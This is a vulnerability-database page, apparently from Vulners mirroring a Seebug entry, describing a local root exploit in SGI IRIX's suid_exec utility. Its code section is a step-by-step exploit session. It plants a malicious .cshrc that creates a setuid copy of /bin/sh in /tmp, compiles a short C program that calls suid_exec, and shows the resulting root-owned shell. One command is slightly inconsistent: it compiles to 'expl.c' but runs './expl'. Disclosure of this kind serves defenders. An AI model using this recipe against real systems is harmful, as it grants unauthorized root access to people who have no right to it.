Lucene search
+L

SGI IRIX <= 6.4 suid_exec Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

SGI IRIX suid_exec Vulnerability allows root access by executing malicious code in .cshr

Code

                                                source: http://www.securityfocus.com/bid/467/info

A vulnerability exists in the &#39;suid_exec&#39; utility, as shipped by SGI with it&#39;s Irix operating system, versions 5.x and 6.x. Suid_exec is part of the Korn shell package, and was originally the mechanism by which ksh executed setuid shell scripts safely. However, it runs using the default shell, and as such will run the configuration files for the shell, such as a .cshrc. By placing malicious code in a .cshrc, and properly running suid_exec, commands can be executed as root. 


% setenv | grep SHELL
SHELL=/bin/tcsh
% mv ~/.cshrc ~/.cshrc.old
% cat &#62; ~/.cshrc
cp /bin/sh /tmp
chmod a+rsx /tmp/sh
^D
% cat &#62; expl.c
main()
{
execl(&#34;/sbin/suid_exec&#34;,&#34;/bin/su&#34;,&#34;/bin/su&#34;,0);
}
^D
% cc expl.c -o expl.c
% ./expl
Too many (&#39;s.
% ls -l /tmp/sh
-r-sr-sr-x 1 root sys 140784 Dec 2 19:21 /tmp/sh*



  	
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
13